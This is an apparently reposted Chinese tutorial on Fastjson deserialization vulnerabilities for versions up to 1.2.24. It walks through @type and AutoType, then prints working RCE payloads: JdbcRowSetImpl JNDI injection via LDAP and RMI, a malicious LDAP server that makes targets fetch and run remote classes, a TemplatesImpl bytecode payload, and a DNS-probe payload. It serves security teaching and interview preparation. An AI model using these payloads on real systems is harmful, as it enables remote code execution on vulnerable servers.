收藏级|Fastjson反序列化:彻底弄懂面试护网hw再也不怕

admin 2025-12-30 01:31:56 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档深入解析Fastjson反序列化漏洞原理与利用方式,涵盖@type注解、AutoType配置及JavaBean规范。重点剖析了JdbcRowSetImpl链结合JNDI注入实现RCE的过程,以及TemplatesImpl链通过字节码加载执行命令的机制。提供了针对Fastjson1.2.24及以下版本的具体Payload与源码分析,适合面试与实战攻防参考。 综合评分: 88 文章分类: 漏洞分析,WEB安全,代码审计


cover_image

收藏级 | Fastjson 反序列化:彻底弄懂面试护网hw再也不怕

原创

_sun_·empty.

迷人安全

2025年10月22日 15:24 浙江

概述

Fastjson是阿里巴巴开源的json解析库,他可以解析json格式的字符串并且支持将JAVA Object序列化为json字符串,也可以从json字符串反序列化到java object

它主要提供了两个接口来分别实现对java Object的序列化和反序列化的操作

  • JSON.toJSONString
  • JSON.parseObject/JSON.parse

| 方法 | 返回值 | 用途 | 适用场景 | | — | — | — | — | | JSON.toJSONString() | String | 序列化:对象 → JSON字符串 | 输出JSON、网络传输、存储 | | JSON.parseObject(json, Class) | 指定类型对象 | 反序列化:JSON字符串 → 指定类型对象 | 解析已知结构的JSON | | JSON.parseObject(json) | JSONObject | 反序列化:JSON字符串 → JSONObject | 解析未知或动态结构的JSON | | JSON.parse() | Object | 底层解析:JSON字符串 → Object | 需要灵活类型处理的场景 |

并不是所有的java对象都能被转为JSON,只有Java Bean格式的对象才能Fastjson被转为JSON

Java Bean 的基本规范

必须满足的条件:

  1. 公共的无参构造函数
  2. 私有属性(字段)
  3. 公共的getter和setter方法
  4. 可序列化(实现Serializable接口)
//序列化
String text = JSON.toJSONString(obj);

//反序列化
VO vo = JSON.parse();  //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}");  //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class);  //JSON文本解析成VO.class类

利用dome看一下序列化和反序列化

User.java

package json_dome;

public class User {
    private String name;
    private int age;
    private String email;

    // 必须有无参构造函数
    public User() {
    }

    public User(String name, int age, String email) {
        this.name = name;
        this.age = age;
        this.email = email;
    }

    // getter和setter方法
    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

FastJsonExample.java

package json_dome;
import com.alibaba.fastjson.JSON;

public class FastJsonExample {
    public static void main(String[] args) {
        // 创建一个User对象
        User user = new User();
        user.setAge(19);
        user.setName("empty");
        System.out.println("--------------------序列化操作----------------------");
        //将其序列化为JSON
        String json = JSON.toJSONString(user);
        System.out.println(json);

        System.out.println("----------------------反序列化操作-------------------------");
        //使用parse方法,将JSON反序列化为一个JSONObject
        Object json1 = JSON.parse(json);
        System.out.println(json1.getClass().getName());
        System.out.println(json1);

        System.out.println("-----------------------反序列化操作------------------------");
        //使用parseObject方法,并指定类,将JSON反序列化为一个指定的类对象
        Object json2 = JSON.parseObject(json,User.class);
        System.out.println(json2.getClass().getName());
        System.out.println(json2);

    }
}

运行结果

--------------序列化-------------
{"age":18,"name":"Faster"}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Faster","age":18}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Faster","age":18}
-------------反序列化-------------
Person
Person@e2144e4

这里我们修改一下,让setter方法加上输出一句话,我们再测试parseObject()

新的运行结果

setAge:
setName:
--------------------序列化操作----------------------
{"age":19,"name":"empty"}
----------------------反序列化操作-------------------------
com.alibaba.fastjson.JSONObject
{"name":"empty","age":19}
-----------------------反序列化操作------------------------
setAge:
setName:
json_dome.User
json_dome.User@6d7b4f4c

可以看到在反序列化的时候,JSON#parseObject()方法再一次调用了原生类中的Setter方法

若我们再反序列化试不指定特定的类,那么Fastjson就会默认将一个JSON字符串反序列化为一个JSONObject

但是类中的private的属性值不会被序列化和反序列化

可见不设置特定类,会是默认的JSONObject,同样也不会再次调用原本类中写的,仅仅是将JSON字符串进行反序列化

Fastjson–@type

从简单的例子中我们可以看到,JSON#parseObject方法调用的时,我们固定了原生类诶为User.class,那么对于实际环境中有很多类,我们改如何知道我们需要反序列化什么类的对象呢,这是我们引入@type属性

@type属性是fastjson中的一个特殊注释,用于标识JSON字符串中的某个属性是哪一个java对象的类型,具体来说,当fastjson从JSON字符串反序列化为java对象时,如果JSON字符串包含@type属性,fastjson会根据该属性的值来确认反序列化后的java对象的类型

这里有两种方法

第一种

在序列化的时候,在toJSONString()方法中添加额外的属性SerializerFeature.WriteClassName,将对象类型一起序列化

package json_dome;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Testing {
    public static void main(String[] args) {
        User user1 = new User();
        user1.setAge(19);
        user1.setName("empty");

        String ser = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
        System.out.println(ser);
    }

}

我们看到添加了@type字段,用于标识对象所属的嘞

在反序列化的时候,parse()方法机会根据@type转化为原来的类

package json_dome;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Testing {
    public static void main(String[] args) {
        User user1 = new User();
        user1.setAge(19);
        user1.setName("empty");

        System.out.println("序列化操作");
        String ser = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
        System.out.println(ser);

        System.out.println("反序列化操作");
        Object ser1 = JSON.parse(ser);
        System.out.println(ser1);

    }

}

这里我用的Fastjson版本是1.2.24,我还另用了2点几的版本,好像是默认禁用autoType了,parseObject也不行,可能是行为统一了

第二种

第二种方法是在反序列化的时候,在parseObject()方法中手动指定对象的类型

简单利用

那么我们是不是可以利用此,指定恶意类呢,前提是type没有进行严格的处理

DNS

package json_dome;
import com.alibaba.fastjson.JSON;
import java.net.Inet4Address;
import java.net.UnknownHostException;

public class DNS {
    public static void main(String[] args) throws UnknownHostException {
        String ser_json = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"gmgy2rqg.requestrepo.com\"}";

        // 反序列化操作
        Inet4Address inetAddress = JSON.parseObject(ser_json, Inet4Address.class);
        System.out.println(inetAddress);
    }
}

那么我们知道指定原生类的话,还会调用一次我们写好的setter方法,那么如果我们在这些方法中插入恶意代码呢?

AutoTypeSupport

AutoTypeSupport是fastjson中的一个配置选项,用于控制自动类型转换的支持

默认情况下fastjson>=1.2.25会禁用自动类型转换功能,防止恶意风险,学到这也就解决了我最开始上面遇到的疑问和问题

Fastjson<=1.2.24

首先来看看支持type版本内的漏洞,主要是JdbcRowSetImpl和Templateslmpl

jdbcRowSetlmpl利用链

JNDI(Java Naming and Directory Interface)是 Java 提供的一个 API,用于访问各种命名和目录服务

JDBC(Java Database Connectivity)是 Java 提供的用于执行 SQL 语句的 API,它让 Java 程序能够与各种关系型数据库进行交互

JdbcRowSetImpl利用链最终导致的JNDI注入,可以结合JNDI攻击手法进行利用,通用性最强的利用方式

其中关键在于JdbcRowSetImpl利用链如何调用到autoCommit的set方法,我们知道Fastjson会自动调用到类的set方法

所以我们跟进看一下,JdbcRowSetImpl中的setAutoCommit方法

public void setAutoCommit(boolean var1) throws SQLException {
&nbsp; &nbsp; &nbsp; &nbsp; if (this.conn != null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; this.conn.setAutoCommit(var1);
&nbsp; &nbsp; &nbsp; &nbsp; } else {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; this.conn = this.connect();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; this.conn.setAutoCommit(var1);
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; }

conn为null的话就会进入else语句,并调用到connect()方法,跟进connect方法

private Connection connect() throws SQLException {
&nbsp; &nbsp; &nbsp; &nbsp; if (this.conn != null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return this.conn;
&nbsp; &nbsp; &nbsp; &nbsp; } else if (this.getDataSourceName() != null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; InitialContext var1 = new InitialContext();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (NamingException var3) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; } else {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

如果没有配置数据源就会通过JDBC URL直接连接

我们跟进lookup方法,看到他是JNDI访问远程服务器获取远程对象的方法,参数为服务器地址

public Object lookup(String name) throws NamingException {
&nbsp; &nbsp; &nbsp; &nbsp; return getURLOrDefaultInitCtx(name).lookup(name);
&nbsp; &nbsp; }

在看到setDataSourceName和getDataSourceName方法

public String getDataSourceName() {
&nbsp; &nbsp; &nbsp; &nbsp; return dataSource;
&nbsp; &nbsp; }

&nbsp; &nbsp; public void setDataSourceName(String name) throws SQLException {

&nbsp; &nbsp; &nbsp; &nbsp; if (name == null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dataSource = null;
&nbsp; &nbsp; &nbsp; &nbsp; } else if (name.equals("")) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;throw new SQLException("DataSource name cannot be empty string");
&nbsp; &nbsp; &nbsp; &nbsp; } else {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dataSource = name;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; URL = null;
&nbsp; &nbsp; }

而且是public方法,我们可以在set里设置dataSource的值

构造利用链,当type类型为jdbcRowSetlmpl类型时,就会进行实例化,同时我们将dataSourceName传给lookup方法,就可以保证可以访问到远程的攻击服务器了,其中dataSource赋值为我们恶意文件的远程地址

LDAP+JNDI

import com.alibaba.fastjson.JSON;

public class Fastjson_Jdbc_LDAP {
&nbsp; &nbsp; public static void main(String[] args) {
&nbsp; &nbsp; &nbsp; &nbsp; String payload = "{" +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\"autoCommit\":true" +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "}";
&nbsp; &nbsp; &nbsp; &nbsp; JSON.parse(payload);
&nbsp; &nbsp; }
}

LDAP服务器 LDAP_Server.java

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAP_Server {

&nbsp; &nbsp; private static final String LDAP_BASE = "dc=example,dc=com";

&nbsp; &nbsp; public static void main ( String[] tmp_args ) {
&nbsp; &nbsp; &nbsp; &nbsp; String[] args=new String[]{"http://127.0.0.1:8888/#EXP"};
&nbsp; &nbsp; &nbsp; &nbsp; int port = 9999;

&nbsp; &nbsp; &nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; config.setListenerConfigs(new InMemoryListenerConfig(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "listen", //$NON-NLS-1$
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; port,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ServerSocketFactory.getDefault(),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SocketFactory.getDefault(),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (SSLSocketFactory) SSLSocketFactory.getDefault()));

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ds.startListening();

&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; catch ( Exception e ) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp; private static class OperationInterceptor extends InMemoryOperationInterceptor {

&nbsp; &nbsp; &nbsp; &nbsp; private URL codebase;

&nbsp; &nbsp; &nbsp; &nbsp; public OperationInterceptor ( URL cb ) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; this.codebase = cb;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; @Override
&nbsp; &nbsp; &nbsp; &nbsp; public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String base = result.getRequest().getBaseDN();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Entry e = new Entry(base);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sendResult(result, base, e);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; catch ( Exception e1 ) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e1.printStackTrace();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.addAttribute("javaClassName", "foo");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String cbstring = this.codebase.toString();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int refPos = cbstring.indexOf('#');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ( refPos > 0 ) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cbstring = cbstring.substring(0, refPos);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.addAttribute("javaCodeBase", cbstring);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.addAttribute("javaFactory", this.codebase.getRef());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result.sendSearchEntry(e);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

RMI+JNDI

payload

import com.alibaba.fastjson.JSON;

public class Fastjson_Jdbc_RMI {
&nbsp; &nbsp; public static void main(String[] args) {
&nbsp; &nbsp; &nbsp; &nbsp; String payload = "{" +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", " +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\"autoCommit\":true" +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "}";
&nbsp; &nbsp; &nbsp; &nbsp; JSON.parse(payload);
&nbsp; &nbsp; }
}

哎哎,RMI连接老是被重置

dataSourceName需要放在autoCommit的前面,因为反序列化的时候是按先后顺序来set属性的,需要先执行setDataSourceName,然后再执行setAutoCommit

LDAP+JNDI

payload

import com.alibaba.fastjson.JSON;

public class Fastjson_Jdbc_LDAP {
&nbsp; &nbsp; public static void main(String[] args) {
&nbsp; &nbsp; &nbsp; &nbsp; String payload = "{" +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\"autoCommit\":true" +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "}";
&nbsp; &nbsp; &nbsp; &nbsp; JSON.parse(payload);
&nbsp; &nbsp; }
}

TemplatesImpl利用链

fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法,实例话传入恶意类,调用其构造方法,从而造成任意命令执行

这里利用Templateslmpl去打,实际就是换成json序列化后的字符串

{
&nbsp; "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
&nbsp; "_bytecodes":[恶意类的base64],
&nbsp; '_name':'Infernity',
&nbsp; '_tfactory':{},
&nbsp; '_outputProperties':{}
}

payload

package json_dome;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Tem_poc {
&nbsp; &nbsp; public static void main(String[] args) throws IOException {
&nbsp; &nbsp; &nbsp; &nbsp; byte[] bytes = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
&nbsp; &nbsp; &nbsp; &nbsp; String base64_code = Base64.getEncoder().encodeToString(bytes);

&nbsp; &nbsp; &nbsp; &nbsp; String Payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\"_bytecodes\":[\""+base64_code+"\"]," +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\"_name\":\"test\"," +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\"_tfactory\":{}," +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\"_outputProperties\":{}" +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "}\n";

&nbsp; &nbsp; &nbsp; &nbsp; JSON.parseObject(Payload, Object.class, new ParserConfig(), Feature.SupportNonPublicField);
&nbsp; &nbsp; }
}

源码分析

因为payload需要赋值的一些属性为private类型的,需要再parse()反序列化试设置第二个参数Feature.SupportNonPublicField,服务端才能从JSON中恢复private类型的属性

对于Templateslmpl链的最终目标是defineClass()进行动态类加载

其中Templateslmpl下的getOutputProperties()方法能够最终走到defineClass,同时格式也符合

public synchronized Properties getOutputProperties() {
&nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; return newTransformer().getOutputProperties();
&nbsp; &nbsp; }
&nbsp; &nbsp; catch (TransformerConfigurationException e) {
&nbsp; &nbsp; &nbsp; &nbsp; return null;
&nbsp; &nbsp; }
}

调用了TemplatesImpl#newTransformer

public synchronized Transformer newTransformer()
&nbsp; &nbsp; &nbsp; &nbsp; throws TransformerConfigurationException
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; TransformerImpl transformer;

&nbsp; &nbsp; &nbsp; &nbsp; transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _indentNumber, _tfactory);

&nbsp; &nbsp; &nbsp; &nbsp; if (_uriResolver != null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; transformer.setURIResolver(_uriResolver);
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; transformer.setSecureProcessing(true);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; return transformer;
&nbsp; &nbsp; }

继续跟进getTransletInstance()

private Translet getTransletInstance()
&nbsp; &nbsp; &nbsp; &nbsp; throws TransformerConfigurationException {
&nbsp; &nbsp; &nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (_name == null) return null;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (_class == null) defineTransletClasses();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // The translet needs to keep a reference to all its auxiliary
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // class to prevent the GC from collecting them
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; translet.postInitialization();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; translet.setTemplates(this);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; translet.setServicesMechnism(_useServicesMechanism);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; translet.setAllowedProtocols(_accessExternalStylesheet);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (_auxClasses != null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; translet.setAuxiliaryClasses(_auxClasses);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return translet;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; catch (InstantiationException e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw new TransformerConfigurationException(err.toString());
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; catch (IllegalAccessException e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw new TransformerConfigurationException(err.toString());
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

跟进defineTransletClasses(),最终在该类中调用了defineClass()

构造一个TemplatesImpl类的JSON,并且将_outputProperties赋值,这样Fastjson在反序列化时就会调用getOutputProperties()方法了

要求

  • 属性_name的值不为null
  • 属性_class的值为null

__bytecodes为我们传入的恶意字节码

原本CC3中_tfactory需要设置一个TransformerFactoryImpl对象才能让链子走下去,但是这里设置为了空也能正常执行

因为类中已经定义好了

_tfactory知道是TransformerFactoryImpl

private transient TransformerFactoryImpl _tfactory = null;

还有一个base64编码的问题,在反序列化的时候,会对字符串类型进行判断,如果是base64就会被解码成byte数组

if (token == JSONToken.LITERAL_STRING) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (type == byte[].class) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] bytes = lexer.bytesValue();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lexer.nextToken();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return (T) bytes;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
public byte[] bytesValue() {
&nbsp; &nbsp; &nbsp; &nbsp; return IOUtils.decodeBase64(text, np + 1, sp);
&nbsp; &nbsp; }


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:迷人安全 sun·empty.《收藏级 | Fastjson 反序列化:彻底弄懂面试护网hw再也不怕》

关于vm逆向的知识 网络安全文章

关于vm逆向的知识

文章总结: 本文分享了虚拟机逆向工程的知识体系,通过高清图示展示VM逆向的核心思路与关键步骤。内容涵盖虚拟机保护机制的架构分析与调试技巧,为逆向分析人员提供对抗
评论:0   参与:  0